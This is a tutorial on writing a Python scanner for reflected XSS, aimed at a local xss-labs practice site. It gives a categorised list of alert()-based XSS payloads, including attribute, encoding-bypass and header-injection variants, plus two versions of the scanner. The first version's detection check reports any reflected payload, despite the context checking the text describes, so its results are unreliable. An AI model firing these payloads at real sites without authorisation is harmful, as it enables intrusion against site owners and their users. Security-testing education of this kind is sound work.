Python Development of XSS Scanner for Cybersecurity

Python Development of XSS Scanner1. Basic Approach1. Target Scanning2. Core Detection Logic3. Extensibility Design2. Code Implementation1. Dictionary File2. Python Code

Python Development of XSS Scanner

1. Basic Approach

1. The overall approach is to send a request with a payload parameter value and determine the existence of the payload from the response (triggering reflected XSS).

2. Prepare a dictionary that includes as many payloads as possible and categorize each payload.

3. Different types of payloads should have different request sending methods and different response detection techniques.

4. Aim for precise detection to avoid situations where any presence of a payload on the webpage counts, but rather check if the payload is a normal string or indeed executable.

5. Such XSS scanning tools are usually more suitable for scanning reflected XSS and less applicable for stored XSS. For stored XSS, developing a tool cannot clearly identify which page the response is on, which is the main issue, although it can theoretically be resolved.

6. Python can also handle HTML entity character conversion.

7. In cases where there are multiple parameters in the URL address bar or POST request body, parameters need to be decomposed, and each parameter must be assigned the value of the payload.

1. Target Scanning

Focus on detecting reflected XSS vulnerabilities by constructing requests containing payloads and analyzing the response content to determine the existence of vulnerabilities. For stored XSS, additional page traversal logic is required (extensible functionality).

2. Core Detection Logic

  • Request Construction: Inject payloads into URL parameters, request headers (Referer/User-Agent/Cookie), etc.

  • Response Validation: Not only check if the payload exists but also verify if it is in an executable context (e.g., within HTML tags, in attribute values).

  • False Positive Control: Determine if the payload is escaped or merely stored as a string based on contextual features.

3. Extensibility Design

  • Support for GET/POST request methods

  • Configurable payload dictionary path

  • Support for custom detection rules

  • Compatible with HTML entity encoding / URL encoding scenarios

2. Code Implementation

1. Dictionary File

Normal indicates that the payload has an independent position and cannot be inside a string or any attribute. In this case, the second position before the payload must not be an equal sign, which would indicate a string situation, for example, <span>="xxx"</span>

Prop indicates that the payload exists in an attribute value.

 Normal:&lt;script&gt;alert(1)&lt;/script&gt;
 Prop:x" onclick="alert(2)
 Prop:x' onclick='alert(3)
 Prop:x" onclick="alert(4)
 Prop:x"&gt;&lt;a href="javascript:alert(5)"&gt;yy&lt;/a&gt;
 Prop:x" ONclick="alert(6)
 Double:x" oonnclick="alert(7)
 Escape:javascript:alert(8)
 Prop:x" onclick="alert(10)" type="button
 Referer:x" onclick="alert(11)" type="button
 User-Agent:x" onclick="alert(12)" type="button
 Cookie:user=x" onclick="alert(13)" type="button
 Replace:test&lt;img%0asrc=1%0aonerror=alert(16)&gt;
 Normal:1111 onmouseover=alert(17)
 Normal:1111 onmouseover=alert(18)
 
 # Basic Script Type
 Normal:&lt;script&gt;alert(document.domain)&lt;/script&gt;
 Normal:&lt;img src=x onerror=alert(1)&gt;
 Normal:&lt;svg onload=alert(2)&gt;
 
 # Attribute Injection Type
 Prop:x" onclick="alert(3)
 Prop:x' onmouseover='alert(4)
 Prop:x" onfocus="alert(5)" autofocus
 
 # Encoding Bypass Type
 Escape:javascript:alert(6)
 Escape:&amp;#x6a;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x73;&amp;#x63;&amp;#x72;&amp;#x69;&amp;#x70;&amp;#x0074;:alert(7)
 
 # Event Trigger Type
 Normal:123 onmouseover=alert(8)
 Normal:456 onload=alert(9)
 
 # Tag Bypass Type
 Prop:x"&gt;&lt;script&gt;alert(10)&lt;/script&gt;
 Prop:x'&gt;&lt;img src=x onerror=alert(11)&gt;
 
 # Request Header Injection Type
 Referer:referer_x" onclick="alert(12)
 User-Agent:ua_x' onmouseover='alert(13)
 Cookie:cookie_x" onfocus="alert(14)" autofocus
 
 # Special Character Bypass Type
 Replace:test&lt;img%0asrc=1%0aonerror=alert(15)&gt;
 Replace:test&lt;script%0d&gt;alert(16)&lt;/script&gt;

2. Python Code

 import requests
 
 # Handling HTML entity character encoding
 def entity_html(source):
     entity_html = ''
     for c in source:
         entity_html += '&amp;#x' + hex(ord(c)).replace('0x', '') + ';'
     return entity_html
 
 # Detect if the payload is valid from the response, similar to checking the source code after injection
 def check_resp(resp, payload, type):
     index = resp.find(payload)
     profix = resp[index - 2:index - 1]
     if (type == 'Normal' and profix != '=' and index > 0):
         return True
     elif (type == 'Prop' and profix == '=' and index > 0):
         return True
     elif (index > 0):
         return True
 
     return False
 
 # Main scanning function
 def xss_scan(location):
     # Decompose URL address and parameters
     URL = location.split('?')[0]
     param_list = location.split('?')[1].split('&amp;')
     with open('./xssdict.txt', mode='r') as file:
         payload_list = file.readlines()
 
     for param in param_list:
         key = param.split('=')[0]
         for payload in payload_list:
             type = payload.split(':', 1)[0]
             payload = payload.strip().split(':', 1)[1]
             if (type == 'Referer' or type == 'User-Agent' or type == 'Cookie'):
                 header = {type: payload}
                 resp = requests.get(url=URL, headers=header)
             else:
                 params = {}
                 if (type == 'Escape'):
                     params[key] = entity_html(payload)
                 else:
                     params[key] = payload
                 resp = requests.get(url=URL, params=params)
             if check_resp(resp.text, payload, type):
                 print(f'There is an XSS vulnerability here: {payload}')
 
 if __name__ == '__main__':
     # target='http://192.168.1.9/xss-labs/level5.php?keyword=xxx'
     # target='http://192.168.1.9/xss-labs/level8.php?keyword=xxx'
     target='http://192.168.1.9/xss-labs/level17.php?arg01=a&amp;arg02=b'
     xss_scan(target)
 
 # Below is debugging code
     # param_list = target.split('?')[1].split('&amp;')
     # print(len(param_list))
     # index = target.find('//')
     # profix = target[index - 2:index - 1]
     # print(profix)
     # str = entity_html(target)
     # print(str)
 
     # for payload in payload_list:
     #     type = payload.split(':', 1)[0]
     #     payload = payload.strip().split(':', 1)[1]
     #     params = {}
 
     # url = 'http://192.168.1.9/xss-labs/level8.php?keyword=&amp;#x006a;&amp;#x0061;&amp;#x0076;&amp;#x0061;&amp;#x0073;&amp;#x0063;&amp;#x0072;&amp;#x0069;&amp;#x0070;&amp;#x0074;&amp;#x003a;&amp;#x0061;&amp;#x006c;&amp;#x0065;&amp;#x0072;&amp;#x0074;&amp;#x0028;&amp;#x0038;&amp;#x0029;&amp;submit=添加友情链接'
     # resp = requests.get(url=url)
     # print(resp.text)

Optimized version is as follows:

 import requests
 import urllib.parse
 from urllib.parse import urlparse, parse_qs, urlunparse
 
 class XSSScanner:
     def __init__(self, payload_file="./xssdict.txt", timeout=10):
         self.payloads = self.load_payloads(payload_file)
         self.timeout = timeout
         self.session = requests.Session()  # Maintain session state
         self.session.headers.update({
             "User-Agent": "Mozilla/5.0 (XSS Scanner) Gecko/20100101 Firefox/91.0"
         })
 
     def load_payloads(self, file_path):
         """Load and parse payload dictionary"""
         payloads = []
         try:
             with open(file_path, 'r', encoding='utf-8') as f:
                 for line in f:
                     line = line.strip()
                     if not line or line.startswith('#'):
                         continue
                     if ':' in line:
                         payload_type, payload = line.split(':', 1)
                         payloads.append((payload_type.strip(), payload.strip()))
         except FileNotFoundError:
             print(f"Error: Payload file {file_path} not found.")
         return payloads
 
     def encode_payload(self, payload, encoding_type):
         """Payload encoding processing"""
         if encoding_type == "html":
             return self.entity_html(payload)
         elif encoding_type == "url":
             return urllib.parse.quote(payload)
         return payload
 
     def entity_html(self, source):
         """HTML entity encoding conversion"""
         return ''.join(f'&amp;#x{hex(ord(c))[2:]};' for c in source)
 
     def parse_url(self, url):
         """Parse URL to get basic information"""
         parsed = urlparse(url)
         query_params = parse_qs(parsed.query)
         # Convert to single-value dictionary (handle multi-value parameters)
         params = {k: v[0] for k, v in query_params.items()}
         return {
             "base_url": urlunparse(parsed._replace(query="")),
             "params": params
         }
 
     def check_payload_context(self, response_text, payload, payload_type):
         """Check the validity of the payload context"""
         index = response_text.find(payload)
         if index == -1:
             return False
 
         # Validate context based on payload type
         if payload_type == "Normal":
             # Normal type: the first two characters should not be equal (to avoid attribute value scenarios)
             if index >= 2 and response_text[index - 2:index - 1] != '=':
                 return True
         elif payload_type == "Prop":
             # Property type: the previous character should be equal
             if index >= 1 and response_text[index - 1] == '=':
                 return True
         elif payload_type in ["Escape", "Replace"]:
             # Encoding/replacement type: just needs to exist to be potentially valid
             return True
         elif payload_type in ["Referer", "User-Agent", "Cookie"]:
             # Header injection type: validate special markers exist
             return True
         return False
 
     def scan_get_request(self, url):
         """Scan GET request parameters"""
         parsed = self.parse_url(url)
         base_url = parsed["base_url"]
         params = parsed["params"]
 
         if not params:
             print("Warning: No parameters found in URL, skipping GET scan.")
             return
 
         for param in params:
             original_value = params[param]
             for payload_type, payload in self.payloads:
                 # Skip payloads of request header type
                 if payload_type in ["Referer", "User-Agent", "Cookie"]:
                     continue
 
                 # Construct parameters
                 test_params = params.copy()
                 if payload_type == "Escape":
                     test_params[param] = self.encode_payload(payload, "html")
                 else:
                     test_params[param] = payload
 
                 try:
                     response = self.session.get(
                         base_url,
                         params=test_params,
                         timeout=self.timeout,
                         allow_redirects=False
                     )
                     # Check response
                     if self.check_payload_context(response.text, payload, payload_type):
                         print(f"[!] Possible XSS vulnerability (GET parameter: {param})")
                         print(f"    Payload: {payload}")
                         print(f"    Test URL: {response.url}\n")
                 except Exception as e:
                     print(f"Request error: {str(e)}")
 
     def scan_headers(self, url):
         """Scan request header injection points"""
         parsed = self.parse_url(url)
         base_url = parsed["base_url"]
         headers_to_test = ["Referer", "User-Agent", "Cookie"]
 
         for payload_type, payload in self.payloads:
             if payload_type not in headers_to_test:
                 continue
 
             # Save original header information
             original_header = self.session.headers.get(payload_type)
             # Set test header
             self.session.headers[payload_type] = payload
 
             try:
                 response = self.session.get(
                     base_url,
                     params=parsed["params"],
                     timeout=self.timeout,
                     allow_redirects=False
                 )
                 if self.check_payload_context(response.text, payload, payload_type):
                     print(f"[!] Possible XSS vulnerability ({payload_type} header)")
                     print(f"    Payload: {payload}\n")
             except Exception as e:
                 print(f"Request error: {str(e)}")
             finally:
                 # Restore original header
                 if original_header is None:
                     del self.session.headers[payload_type]
                 else:
                     self.session.headers[payload_type] = original_header
 
     def scan(self, url):
         """Execute complete scanning process"""
         print(f"Starting scan on target: {url}")
         self.scan_get_request(url)
         self.scan_headers(url)
         print("Scan complete")
 
 if __name__ == "__main__":
     # Example targets
     targets = [
         "http://192.168.1.9/xss-labs/level5.php?keyword=xxx",
         "http://192.168.1.9/xss-labs/level8.php?keyword=xxx",
         "http://192.168.1.9/xss-labs/level17.php?arg01=a&amp;arg02=b"
     ]
     
     scanner = XSSScanner()
     for target in targets:
         scanner.scan(target)

Leave a Comment